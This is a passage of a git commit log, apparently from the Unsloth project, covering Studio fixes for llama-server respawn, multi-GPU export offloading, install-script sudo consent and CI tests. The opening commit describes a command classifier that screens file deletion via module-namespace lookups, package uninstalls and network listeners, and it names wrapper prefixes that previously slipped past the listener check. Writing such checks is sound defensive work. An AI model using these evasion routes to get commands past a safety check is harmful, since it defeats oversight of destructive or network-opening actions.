vars(os)["remove"] and os.__dict__["unlink"] resolve an attribute the same way
getattr does, so the module namespace dict is screened with the same key rules,
anchored to a filesystem module so an ordinary d["remove"] stays out.

Removing a package (pip uninstall torch, uv pip uninstall, conda remove) tears
down the environment the backend itself runs in; installing into it does not,
and stays automatic.

The listener check was anchored at command position, so a wrapper in front of
it (env python -m http.server, timeout 60 python -m uvicorn) slipped past. The
module after -m is now resolved at the token level, after wrapper resolution.

Adds 54 rows to the classifier tables covering both directions.

---------

Co-authored-by: danielhanchen <unslothshared@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-26 17:07:31 -07:00
Etherl
278e9e7921
Fix PDF-grounded QA recipe for QLoRA (#7107)
* Fix PDF-grounded QA recipe for QLoRA

* Handle empty unstructured seed columns

* Respect unstructured seed drop toggle

* Add PDF QA QLoRA regression coverage for PR #7107

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix PDF QA recipe import and Alpaca context

* Align PDF QA recipe contract coverage

* Preserve structured seed drop state on import

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep PDF QA integration opt-in without pytest marker

---------

Co-authored-by: imagineer99 <samleejackson0@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
2026-07-26 20:19:53 +03:00
Daniel Han
0c1c9f71db
Import bitsandbytes before the hardware spoof rewrites torch (#7471)
tests/studio/install/test_rocm_rdna_routing.py errors out on CPU-only CI,
taking Repo tests (CPU) with it, all 12 cases with

  OSError: libhipblas.so.2: cannot open shared object file
  AttributeError: module 'torch._C' has no attribute '_cuda_getCurrentRawStream'

The spoof presents torch as a Radeon card, which flips
torch.cuda.is_available() to True and sets torch.version.hip. bitsandbytes
gates its backend on exactly that:

  if torch.cuda.is_available():
      from .backends.cuda import ops as cuda_ops

so a bitsandbytes imported afterwards walks into the CUDA/ROCm path against a
CPU-only wheel and dies reading torch._C._cuda_getCurrentRawStream. It reaches
the test because unsloth_zoo imports it eagerly, guarded by except ImportError,
which neither OSError nor AttributeError satisfies.

Import it in the spoof instead, while is_available() is still False, so the CPU
path is cached in sys.modules before torch is rewritten. Placed in the shared
apply(), ahead of the first mutation and inside the idempotence guard, so the
ROCm spoof that layers on top gets it too.

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-26 05:46:12 -07:00
Daniel Han
dc24bba43e
install.sh, setup.sh: apply the no-tty consent fix to the remaining sites (#7470)
Follow-up to #7435, which fixed _smart_apt_install. Three sites were left.

studio/setup.sh: the WSL GGUF build-deps block is the pre-#7435 install.sh
pattern verbatim. It probes with 'test -r /dev/tty', assumes REPLY=y when that
fails, and then runs the elevated apt-get with stdin open. Its own guard
comment says a password is needed on WSL, so this is exactly the scenario from
issue #7307, and install.sh runs setup.sh in the same install. Give it the same
treatment: a real open probe, -n -k with stdin closed on the headless path, and
the manual command plus the existing _SKIP_GGUF_BUILD degradation on failure.
The helper is defined locally because setup.sh runs as its own process.

install.sh autostart prompt: still used 'test -r /dev/tty' and printed the
question before checking, leaving a dangling prompt in container logs. Reuse
_can_read_tty and move the printf inside the branch.

install.sh interactive escalation: a sudoers denial, a wrong password or an apt
error aborted on the bare message while the headless branch printed what to run
by hand. Make both symmetric.

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-26 05:22:28 -07:00
Daniel Han
d7cdc96051
studio/tests: cover the GGUF load ordering behaviourally and make the structlog stub order-independent (#7442)
* studio: fix Backend CI red on main from an ambiguous ordering anchor

test_load_marker_precedes_hub_guard_and_unload fails on main, so every
open PR against the repo inherits the failure.

Root cause. #7239 (a7761e174) reworked the GGUF GPU-pool validation in
_load_model_impl from "if config.is_gguf and effective_gpu_ids is not
None:" to a bare "if config.is_gguf:", placed earlier in the function
than the GGUF load branch. The test anchors on
source.index("if config.is_gguf:"), a first-match search, so it silently
re-anchored onto the GPU-pool statement. #7251 (95f42bcce) then restored
the assertion "= _resolve_inherited_extra_args(" before
"if config.is_gguf:" against a tree where that anchor already pointed at
the wrong statement, and main went red. Checking out 95f42bcce and
running the suite reproduces the same single failure.

The code is correct. _resolve_inherited_extra_args still runs before the
GGUF load branch and before the hub-download guard that consumes
extra_llama_args for require_mmproj, so the guarantee #7251 protects is
intact; only the assertion is wrong.

Fix. Assert that guarantee behaviourally instead of by source offsets.
The new test drives _load_model_impl over a vision GGUF with a stored
--no-mmproj from a previous same-model load and captures the
require_mmproj the hub guard is called with: inherited --no-mmproj gives
False, nothing to inherit gives True, and an explicit request list wins
over the stored one both ways. Moving the resolution call after the
guard makes the inherited case report True and the test fails, so it
detects the reorder the old assertion was meant to catch, without
depending on how many "if config.is_gguf:" statements the endpoint has.

The surviving marker-before-guard-before-unload assertion had the same
ambiguous anchor for its slice start, silently widening the slice past
the GPU-pool block. It now slices from the "if config.is_gguf:" nearest
above the in-flight marker, which pins the load branch.

The structlog test stub gains a get_logger factory so routes/inference.py
is importable when structlog is absent.

34 pass in tests/test_gguf_load_cache_reuse.py (was 32 pass, 1 fail);
350 pass across it plus test_llama_cpp_mmproj_fallback.py and
test_llama_cpp_mtp_detection.py. A full backend run before and after is
identical apart from this test going from fail to pass.

* studio/tests: repair a pre-existing bare structlog stub before importing routes

* studio/tests: tighten the comments on the new load-ordering coverage

* Tighten comments on the load-ordering coverage for PR #7442
2026-07-26 05:01:56 -07:00
Daniel Han
6ae037f97c
Studio: use the scaling text tokens in the Agents settings tab (#7468)
The Agents tab added in #7303 sets its avatar initial and its two status
pills with raw px utilities (text-[11px], text-[10px]). Those ignore the UI
font size preference, so the text stays fixed while the rest of Settings
scales, and tests/studio/test_ui_font_scale_contract.py fails on main.

Swapped for the existing tokens in index.css, which are the same sizes
multiplied by --ui-font-scale: text-ui-11 and text-ui-10.

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-26 04:57:00 -07:00
Daniel Han
e39cc5b2a5
Studio: use the UI font scale tokens in the Agents settings tab (#7462)
The Agents tab landed with three raw px text utilities, so its avatar initials
and the two status pills ignore the UI font size preference and stay fixed while
the rest of the dialog scales.

Swap them for the existing text-ui-11 / text-ui-10 tokens, which is what the rest
of the frontend already uses (149 and 128 call sites respectively).

This is what test_no_raw_pixel_text_utilities guards, so Repo tests (CPU) has been
red on main since the tab was added, and every open PR inherits the failure.

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-26 04:54:00 -07:00
oobabooga
aefeb5821d
Studio: recover tool-enabled GGUF chats after llama-server exits (#7424)
* Fix GGUF tool chat server recovery

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Cover MTP precedence and loosen the replay assertion for PR #7424

Add a regression test for the MTP branch of the tool-loop respawn retry: the
file-wide _make_backend stub forces _maybe_recover_from_mtp_crash to False, so
nothing exercised the case where an MTP crash reload is already claimed and an
ordinary same-config respawn must not run on top of it. Cover both the next
tool-loop request and the final synthesis pass.

Replace the whole-payload equality assertions with a field-wise check. Comparing
the full dict pins max_tokens to the value derived from the dead server's
effective context, so a later fix that rebuilds server-derived defaults after a
respawn would read as a test failure rather than an improvement.

Document that the one-retry budget is per model request, not per chat turn.

* Recover from prefill-time deaths and stop respawn racing the MTP reload

Two gaps in the tool-loop respawn retry, both reproduced before fixing.

A child that exits during prefill has already accepted the socket, so httpx
raises ReadError, WriteError or RemoteProtocolError rather than ConnectError.
Those all arrive before the response opens, which is exactly the window where a
replay is safe, but the helper only caught ConnectError and gave up. Widen the
catch to NetworkError plus RemoteProtocolError. Timeouts stay excluded on
purpose: they mean the server is slow, not dead, and retrying one would spend
the 20 minute first-token budget twice. Windows resets connections where Linux
refuses them, so this also covers the common Windows presentation.

_maybe_recover_from_mtp_crash returns False both when the crash is not an MTP
crash and when an MTP-free reload is already in flight. Callers read that as
permission to respawn, so _respawn_if_dead replayed the crashing MTP kwargs and,
by replacing the process, made the in-flight reload abort on its own newer-load
check. Skip the respawn while that reload owns the corpse. The guard lives in
_respawn_if_dead so the plain chat path gets it too.

Regression tests for both, including a guard against retrying prefill timeouts.

* Release the MTP single-flight claim when the reload never starts

_mtp_runtime_fallback_in_progress is claimed before the reload thread exists, and
only that thread's finally clears it. Two statements ran in between with no unwind
path: re-reading _last_load_kwargs, which an unload can null underneath us, and
Thread.start(), which raises under the thread exhaustion that is exactly the
pressure killing llama-server in the first place. Nothing else ever resets the
flag, so a failure there latched it for the life of the process.

That was survivable before, since respawn ignored the flag. It is not now: the
guard added in db78184be keys off the flag alone, so a latch would silently
disable auto-respawn for every later model, including plain non-MTP ones. Read
the kwargs and process once before claiming, and release the claim if the thread
cannot start.

Restore the whole-payload equality assertions. Comparing field-wise was meant to
leave room for rebuilding server-derived defaults on replay, but the payload is
built once before the retry and re-sent unchanged, so the looser check only
dropped seven real keys and added a vacuous seed comparison.

Also correct the docstring: llama-server flushes its 200 at slot start, so a
death during decode arrives with the response already open. The pre-header window
this covers is an upload still in flight or a request waiting behind busy slots.

* Confirm the child exited before spending the retry

A closing llama-server can beat its own exit status: the socket error arrives while
poll() still reports the process running. _respawn_if_dead then took the alive
branch, handed back the stale _healthy, and the caller read that as a successful
respawn and spent its single retry on the same corpse. When that retry failed,
attempt was no longer 0, so no respawn ever happened and the turn died, with a log
line claiming a respawn that had not occurred. The window matters most for the
pre-header ReadError and RemoteProtocolError shutdowns the retry now covers.

Wait a bounded second for the exit status before calling the child alive. The same
race is already conceded in _maybe_recover_from_mtp_crash, whose recovery thread
polls for 5s because the error can arrive a beat early; 1s here because this runs
on the request path, and a genuinely live server, including one a concurrent caller
has just respawned, still returns promptly.

* Tighten the recovery comments

* Harden the respawn path around concurrent unloads and replacements

Two problems with the reap grace loop, both found by review.

Skip the grace when the server was already replaced. A caller queued on
_respawn_lock behind someone else's respawn woke holding the healthy replacement,
could not tell it from the child its own request had used, and waited out the full
grace. That sleep is under the lock, so the waits serialised: four concurrent
generations cost roughly three grace periods before any retry began. Capture the
process before taking the lock and return early once it has been swapped.

Do not respawn a server that is being torn down on purpose. unload_model() sets
_cancel_event and only clears _last_load_kwargs after the kill, so a request losing
its connection mid-unload could watch that deliberate exit through the grace loop,
read the stale kwargs and load the model straight back; a model switch landing
during the wait was reverted the same way. Re-check the cancel flag and the process
identity under _serial_load_lock before capturing the replay kwargs, matching what
the MTP-crash reload already does.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten the respawn comments

* Do not charge the reap grace to a server that is still serving

The grace loop added for the not-yet-reaped race waits on poll(), which for a
live child never returns, so every transient transport error paid the full
_RESPAWN_REAP_GRACE_S. That sleep is held under _respawn_lock, so the cost
serialised: measured 1002 ms for one caller and 8.02 s for eight concurrent ones,
against 0 ms on main. A working install pays this, not a broken one.

A llama-server's listening socket dies with the process, so a loopback connect
separates the two cases in microseconds. Probe it first and return immediately
when the port still accepts; fall through to the grace only when the port is
gone, which is the case the grace exists for. Back to 0.7 ms for one caller and
0.00 s for eight.

Cross-checked on real hardware over Qwen3.5-2B, Llama-3.2-1B, Gemma-3-4B with
mmproj and Qwen3-30B-A3B: decode throughput within noise of main (-0.06%, -3.71%,
+2.57%, +0.29%, against a 54-232% spread between rounds of a single run), output
byte-identical on every round, tool-path recovery restored on the three families
whose model calls the tool, and plain-chat recovery still working on all four.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Make the respawn lose to a deliberate unload in every window

Two follow-ups on the respawn path, both reproduced first.

Check _cancel_event before the socket fast path. unload_model sets the flag before
it kills, so the child is still accepting when the probe runs; returning the stale
_healthy there aims the retry at a server that is deliberately going away.

Close the unload TOCTOU. The old cancel check sat under _serial_load_lock, which
unload_model never takes, so an unload could land entirely between that check and
load_model and the captured kwargs would restart a model the user had stopped.
Snapshot the kwargs, the flag and a new _unload_epoch together under _lock, the
lock unload does hold, so a teardown is either wholly before the snapshot or
wholly after it. load_model clears _cancel_event on the way in, so the epoch is
the only evidence that survives; when it moves during the reload the replacement
is unloaded again rather than left running.

_lock stays uncontended across load_model, which would deadlock a plain Lock and
block /status for the length of a load. Error-path latency is unchanged: 0.6 ms
for a live server and 0.00 s for eight concurrent callers.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-26 04:53:45 -07:00
Daniel Han
170b412c1d
Fix the CPU-only ROCm routing errors and two font-scale UI flakes (#7469)
* Fix the CPU-only ROCm routing errors and two font-scale UI flakes

Two unrelated causes of red CI on every PR, both reproduced before fixing.

ROCm routing: 12 errors on Repo tests (CPU). The spoof reports an AMD GPU, and
unsloth_zoo pulls in bitsandbytes, which picks a compute backend at import. Once
torch looks like a GPU is present, bnb loads its ROCm/CUDA ops, which a CPU-only
torch cannot satisfy (no libhipblas.so.2, no torch._C._cuda_getCurrentRawStream),
so the child died before printing RESULT. Nothing here tests bitsandbytes, so
import it first, under the honest hardware. Reproduced in a CPU-only torch venv:
11 passed with 12 errors before, 23 passed after. Still 23 passed on a CUDA build.

Font-scale UI: the select-viewport step pressed ArrowDown six times behind fixed
sleeps, but Radix moves focus into the listbox after the content opens, so on a
loaded runner the keys landed on the trigger and nothing scrolled. Wait on the
overflow and press until it moves, bounded at 40. The same fixed-sleep pattern
made open_appearance miss the dialog when the shortcut fired before the app wired
its handler; alternate both chords on a bounded retry and wait for the control the
caller is about to drive.

Both were reproduced locally by running the suite against a real Studio under full
CPU load. Original: 2 of 10 passed, with the exact CI signature 'keyboard did not
scroll the select viewport: 0' five times. Fixed: 10 of 10.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep the ROCm routing assertion live on Apple Silicon for PR #7469

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-26 04:48:49 -07:00
Leo Borcherding
c3d3680e7c
install.sh: do not assume sudo consent when there is no terminal (#7435)
* install.sh: do not assume sudo consent when there is no terminal (#7307 P7)

_smart_apt_install printed an "Accept? [Y/n]" prompt, and when /dev/tty was
unreadable it set REPLY=y and escalated anyway. Every sudo call in that branch
redirects stdin from /dev/null, so on any host where sudo needs a password the
install died on sudo's own error rather than the actionable message the no-sudo
path already prints. Containers, CI and locked-down corporate machines hit this.

Probe with `sudo -n true` first. If there is no terminal to prompt on and sudo
would need a password, exit with the missing packages and the exact command to
run, matching the no-sudo path. Passwordless sudo still escalates unattended,
which is the one case where that is legitimate, and says so in the log.

With a readable /dev/tty the behaviour is unchanged, and the prompt now only
prints when something can actually answer it.

Extend tests/sh/test_apt_distro_prompt.sh to drive the real function across all
four TTY/sudo combinations, rewriting /dev/tty to a fixture path the same way
the existing cases rewrite /etc/os-release. Against the old install.sh five of
these assertions fail. Register the file in studio-backend-ci.yml's shell suite,
which did not run it before.

* install.sh: probe the real tty and the real sudo commands (#7307)

Codex review follow-ups on the no-TTY sudo escalation guard.

`test -r /dev/tty` only reads the device node's permission bits. Inside
containers and systemd units those bits look fine while open() fails with
ENXIO, so the guard still fell through to a prompt nobody could answer.
_can_read_tty() does a real open. The subshell is load-bearing: in dash a
failed redirection on the special builtin `:` exits the script.

`sudo -n true` proves only that `true` is allowed. Under a command-specific
rule like `NOPASSWD: /usr/bin/apt-get` it is the wrong question in both
directions. _sudo_runs_unattended() asks the sudoers policy about the exact
argument vectors we are about to elevate, via `sudo -n -l --`, which checks
without running and fails instead of prompting.

Tests cover both: a NOPASSWD-on-trivia-but-not-apt-get sudoers stub, and a
readable-but-unopenable /dev/tty faked with a unix socket (skipped where the
platform cannot produce that shape).

* install.sh: test sudo by running it with -n, not by asking sudo -l

Codex follow-up. `sudo -n -l -- apt-get ...` answers authorization, not
authentication: on a host where apt-get is permitted but still carries the
PASSWD tag, list mode exits 0 while the actual run needs a password, so the
guard reported unattended and the escalation died exactly as #7307 described.

Inferring the answer from list output means parsing for `!authenticate`, which
is human-readable text that varies by sudo version. Drop the inference. In the
no-terminal branch, run the real commands with `sudo -n`: -n never prompts, so
it cannot block on a closed stdin, and its exit status is the question we were
trying to answer. If it is refused, print the actionable manual command as
before. The terminal branch is unchanged: prompt, then plain sudo, which may
ask for a password because someone is there to type it.

The test stub now models sudo properly (-n refuses and runs nothing when a
password is needed) instead of special-casing the probe's argv.

* install.sh: require a real NOPASSWD rule, and stop blaming the password for apt failures

Two review findings on the headless escalation branch.

A cached authentication timestamp from an earlier, unrelated elevation made
`-n` succeed for a PASSWD-tagged apt-get, so packages installed with nobody
having answered the prompt. Add `-k` so the probe ignores the timestamp and
only a real NOPASSWD rule counts as passwordless. Per sudo(8), `-k` alongside
a command ignores the cached credentials for that invocation and "will not
update the user's cached credentials", so an interactive session elsewhere
does not have to re-authenticate afterwards.

A nonzero status from the elevated apt-get was reported as "likely needs a
password" even when sudo had authenticated fine and apt itself failed on a bad
repository, a dpkg lock or a network outage. sudo returns the command's own
exit status when the command runs, so the two cases are not distinguishable
from the status alone. Report both possibilities and point at the real error.

tests/sh/test_apt_distro_prompt.sh: teach the sudo stub about -k, add a cached
mode, and assert both behaviours. The three new assertions fail against the
previous commit.

* install.sh: an unreadable answer at the consent prompt declines

_can_read_tty proves the device opens, not that anyone is there to answer. A
read that hits EOF still fell back to REPLY=y and escalated, so the branch that
does have a terminal kept the behaviour this change removes from the branch
that does not. A drained or half-closed terminal reached it.

Default to n instead, which is what the post-install autostart prompt at the
bottom of this file already does on the same condition. Enter still means yes:
that is a successful read of an empty line, not a failed read.

tests/sh/test_apt_distro_prompt.sh: add an eof tty fixture, which opens
normally and returns EOF immediately. Both new assertions fail against the
previous commit.

* install.sh: tighten the escalation comments, and correct the exit-status claim

Comment-only. The earlier note said a nonzero status from the elevated apt-get
was not distinguishable from the status alone; sudo(8) is more specific than
that. sudo exits 1 on an authentication or configuration failure and passes the
command's own status through when the command runs, while apt-get(8) returns
100 on error, so the two usually are distinguishable. sudo also exits 1 when
the command cannot be executed, which is why the message still states both
causes rather than naming one.

* install.sh, tests: tighten the comments added by this branch

Comment-only pass over the branch's own comments in both files. Same intent,
fewer lines: drop restatement, keep the parts a reader cannot derive from the
code (why test -r is the wrong probe, why the subshell around the redirection
is load-bearing under dash, what -k buys over -n, and why a nonzero status
does not by itself name the cause).

Verified to touch nothing but comments and blank lines.

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-26 04:27:15 -07:00
Hakan Baysal
e7d047a4ee
studio: shard export checkpoint loads across all visible GPUs (#7215)
* studio: shard export checkpoint loads across all visible GPUs

Export checkpoint loading always used unsloth's from_pretrained default of
device_map="sequential", which stacks the whole model on GPU0. On a multi-GPU
host this OOMs GPU0 while the other GPUs sit empty, so a GGUF export that would
comfortably fit across the machine fails with CUDA out of memory (#7053).

Add _multi_gpu_device_map_kwargs(): when the CUDA/ROCm host exposes more than
one visible GPU and get_device_map resolves to "balanced" (the same policy the
inference loader already uses), pass device_map="balanced" to every
from_pretrained in load_checkpoint. In every other case -- single GPU, CPU,
MLX, or any probe failure -- it returns {} so the loader default is untouched.

Fixes #7053

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio/save: reach the UUID/MIG fallback, release sharded models before quantize

Two review fixes on the multi-GPU export sharding:

1. UUID/MIG CUDA_VISIBLE_DEVICES masks resolve to no numeric ids, so the
   len(visible) > 1 gate skipped get_device_map entirely and large exports on
   those hosts still stacked onto GPU0. An empty id list now routes to
   get_device_map(None), whose visible-count fallback exists for exactly this
   case; a genuinely GPU-less host still resolves "sequential" and keeps the
   loader default.

2. The compressed (FP8/NVFP4) export freed GPU memory before its llm-compressor
   subprocess only for single-device models -- a plain .to("cpu") is invalid on
   an accelerate-dispatched model, so a multi-GPU-sharded checkpoint stayed
   resident on every GPU while the subprocess loaded a second copy. The release
   is factored into _offload_model_for_quantize_subprocess /
   _restore_model_after_quantize_subprocess: dispatched all-GPU shards get their
   accelerate hooks removed, move to CPU, and are re-dispatched over the
   recorded hf_device_map afterwards. Maps with cpu/disk targets (already
   offloading) and quantized models are left alone, as before.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio/save: budget merged tensors per device, restore hooks if CPU offload fails

Two review fixes on the multi-GPU export path:

1. The LoRA-merge save path budgeted every merged tensor against GPU0
   (get_device_properties(0) + unqualified memory_allocated()). A merged tensor
   lives on the GPU of its source layer, so for a model sharded across GPUs
   (the device_map="balanced" this PR enables) GPU1+ could OOM as their weights
   accumulated while only GPU0's headroom was checked. Budget against W's own
   device via a per-device cache; single-GPU behavior is unchanged (W on GPU0).

2. _offload_model_for_quantize_subprocess removed the accelerate hooks and then
   moved a dispatched model to CPU; if that move raised (host RAM too small for
   the sharded checkpoint) the model was left hookless and half-moved, breaking
   later exports in the same worker. It now re-dispatches (or, for the
   single-device path, moves back) on a failed move before aborting the offload.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio/save: release sharded models before the torchao reload too

The portable torchao FP8/INT8 export freed the in-memory model only when every
parameter sat on one device, then reloaded a second copy with
device_map="auto". A checkpoint loaded through the new multi-GPU export map is
accelerate-dispatched across several GPUs, so that single-device gate never
fired and the original stayed resident on every GPU during the reload -- an OOM
for exactly the models large enough to have needed the sharded load.

It now uses the same _offload_model_for_quantize_subprocess /
_restore_model_after_quantize_subprocess pair as the compressed export, which
removes the accelerate hooks, moves to CPU, and re-dispatches over the recorded
hf_device_map afterwards. Those helpers are extended to XPU as well, since
torchao also runs on Intel GPUs and the path they replace covered both.

* studio/save: release quantized and cpu-spilled shards before quantize reloads

Two cases the release helper skipped outright, both of which leave GPU memory
held while the compressed subprocess or the torchao device_map="auto" reload
allocates a second copy:

- Quantized models. ExportBackend.load_checkpoint loads 4-bit by DEFAULT, so the
  common Studio export hit the is_loaded_in_4bit guard and kept a quantized shard
  on every visible GPU. They are now attempted like any other model: transformers
  refuses .to() for some bitsandbytes builds, but that refusal raises before
  anything moves, so the existing recovery path restores the model and returns
  None -- best-effort where the stack allows it, old behaviour where it does not.

- Maps that spill to CPU. Any non-GPU target disqualified the whole model even
  though the GPU-mapped modules were still resident and are exactly what needs
  reclaiming. A cpu spill is safe to move (those weights are already in host RAM)
  and is now released; only disk/meta targets are still skipped, because
  accelerate keeps those parameters off the model and moving would try to
  materialize the whole checkpoint. An all-CPU map is skipped as a no-op.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix multi-GPU offload for PEFT exports and fall back when sharding OOMs (#7215)

The dispatch branch of _offload_model_for_quantize_subprocess never ran for a
PEFT model: the wrapper proxies _hf_hook, so remove_hook_from_submodules raised
AttributeError and the bare except returned None. Studio always loads adapters,
so the new balanced map turned the offload off (0 percent freed against 91.8 on
the sequential path it replaces).

- resolve the real dispatch root before removing or replaying hooks
- snapshot and replay hooks, tensor placements and instance forwards; a plain
  re-dispatch rebuilds hooks against the post-PEFT tree (395 to 1379) and drops
  the fused kernels accelerate captured into _old_forward before unsloth patched
- drop the accelerator side of tied_params_map so the offload actually frees
- pass skip_keys on the fallback dispatch_model
- log the swallowed exception instead of returning None silently
- guard _unsloth_save_torchao_with_given_config like its two siblings
- retry the export load once on the loader default when the balanced map OOMs,
  which happens when a training or chat job already owns the other GPUs

Measured on 4x B200 with Qwen3-0.6B: 89.9 percent freed bf16 and 79.7 percent
4bit under balanced, logits bit-identical, hooks and placements restored
exactly, 184 Params4bit round-tripped unchanged including nested state2.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep the original offloaded until the torchao copy is released, and retie shared weights (#7215)

Two follow-ups from review of 8b6b4ca0b.

_unsloth_save_torchao_with_given_config restored the original inside a finally
that ran as soon as from_pretrained returned, so the original and the quantized
copy were both resident while the copy was still being saved. The restore now
sits in an outer finally that covers saving and releasing quantized_model, which
is what the two sibling paths already do.

The dispatch replay did not preserve tied embeddings. A CPU round trip repoints
every tensor and accelerate's tied_params_map is keyed on the old pointer, so
replaying the hooks produced two independent parameters. Reproduced on a tied
Llama: lm_head picked up its own storage, the embedding was duplicated in VRAM,
and an update to one no longer reached the other. The snapshot now records tied
groups (named_parameters(remove_duplicate=False), since the default hides one
half of every pair) and re-ties them after placements are restored.

Verified: tie preserved, no extra storages, live CUDA storage census identical
before and after, updates propagate again, logits bit-identical, and the 4 GPU
invariants unchanged at 89.9 percent freed bf16 and 79.7 percent 4bit.

* Keep meta tensors out of tie groups, restore accelerate move guards, retry CPU spills (#7215)

Four follow-ups from review of a58f1086b.

Meta tensors all report storage pointer 0, and accelerate parks every
CPU-offloaded parameter on meta, so grouping by pointer collapsed them into one
fake tied group. Reproduced with a balanced map that spills two blocks to CPU:
18 meta parameters in a single group with shapes 64x64, 32x64 and 128x64, which
the retie step would have overwritten with the first one. Meta and null-pointer
tensors are now skipped, and the retie also checks shape.

remove_hook_from_submodules deletes the to/cuda/xpu wrappers dispatch_model
installs to stop a caller moving an offloaded model. The snapshot now records
and replays those alongside forward and _old_forward.

The single-device retry only matched OOM, but a balanced map that spills to CPU
is refused by bitsandbytes with a plain ValueError saying modules were dispatched
to the CPU or the disk (transformers quantizers/quantizer_bnb_4bit.py:128), with
no memory wording. That is now retryable too, which matters because Studio loads
4-bit by default and busy secondary GPUs are exactly when balanced spills.

The torchao path dropped the quantized copy at the end of the try, so a failure
in save_pretrained left it resident while the original was restored. The del
moved into the finally, ahead of the restore.

Four regression tests added; suites now 25 and 9.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Retry exports whose multi-GPU load silently offloads to CPU, and clear the failed torchao traceback (#7215)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments for PR #7215

* Keep gradients across the export offload and release the failed torchao copy (#7215)

* Tighten comments for PR #7215

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Daniel Han <unslothai@gmail.com>
2026-07-26 04:16:36 -07:00
Daniel Han
d819029be2
Studio: reset the reasoning open state when a new stream starts (#7444) 2026-07-26 00:31:00 -07:00
JoshuaL3000
4322f936c2
test: fast end-to-end GRPO fast_inference vLLM rollout test (#7136)
* Add fast fast_inference GRPO smoke test for the vLLM LoRA rollout path

Covers the vLLM >= 0.25.0 LoRA collision path (unsloth#7283, fixed in
unsloth-zoo#919) with all seven attention and MLP projections as LoRA targets so
both fused families (qkv_proj, gate_up_proj) are exercised. Kept tiny: the
ungated unsloth/Qwen2.5-0.5B-Instruct, max_steps=1 (the collision triggers on the
first rollout), short prompts/completions, and enforce_eager=True to skip CUDA
graph capture. Runs in ~89s cold and ~37s on a warm torch.compile cache.

Wrapped as a pytest test that skips without CUDA and still runs as a script; a
length-based reward gives non-zero GRPO advantages; asserts the vLLM engine is
attached at load and still bound on the trainer. Heavy imports are deferred into
the test so CPU-only collection stays import-free.

Co-authored-by: JoshuaL3000 <joshua.jian.ern.liew@intel.com>

* Assert GRPO metrics and pin seed in fast_inference test

Switch to unsloth/Qwen3-0.6B, disable vLLM torch.compile
(compilation_config=0) and run 3 steps so the updated LoRA adapter is
re-synced into vLLM on every step, not just loaded once.

Pin GRPOConfig(seed=...), which TRL forwards to vLLM SamplingParams, so
the run is reproducible, and assert per-step metrics (loss, grad_norm,
completion length, reward, reward spread, kl) instead of only checking
that train() returned. Verified across seeds 42/123/2024/7.

* Correct the seed comment and drop the pytest return

GRPOConfig(seed=...) does not reach vLLM SamplingParams: TRL's
generation_kwargs carries no seed key. Reproducibility comes from the
Trainer's set_seed pinning the global RNG the colocated sampler draws
from, so describe that instead.

Returning a value from a test triggers PytestReturnNotNoneWarning, which
pytest intends to make an error; the value was unused.

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-26 00:22:48 -07:00
Nilay
ae6b96ba93
Studio: fail fast on out-of-disk instead of a doomed llama.cpp source build (#7420)
* guard llama.cpp prebuilt against out-of-disk instead of doomed source build

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* address review comments on out-of-disk guard

* keep reusable installs and Windows parity in the out-of-disk guard

* preserve the ENOSPC cause when re-raising fallback errors

* catch out-of-disk before the attempt loop and accept all llama-server layouts

* Fix out-of-disk detection gaps and false positives for PR #7420

Follow-ups found while testing the guard against a real ENOSPC (LD_PRELOAD
shim returning errno 28 under a path prefix, real network, real release):

- hydrate_source_tree retried the next mirror after an ENOSPC and only raised
  on the last URL. Both source fallbacks 404 for the published mix commit, so
  the reported cause was HTTP 404 and the run fell through to the source build
  exactly like before the guard. Stop at the first environment-fatal error.
- The 5 GB preflight rejected hosts that install fine. A full CUDA install
  peaks at 0.87 GB, the largest published bundle is 0.77 GB and macOS is
  0.01 GB, so at 3 GB free the install succeeded before and exited 4 after,
  with the source-build fallback suppressed too. It is now advisory, and a
  real ENOSPC still exits 4. This also drops the case where an install
  matching an older release plan was rejected before its reuse check.
- ENOSPC raised inside shutil.copytree arrives as shutil.Error with errno
  None and no __cause__ or __context__, so it was never classified. That path
  covers the hydrated source tree, the runtime overlay and the activation
  fallback copy.
- _causal_chain followed __context__ even when __suppress_context__ was set,
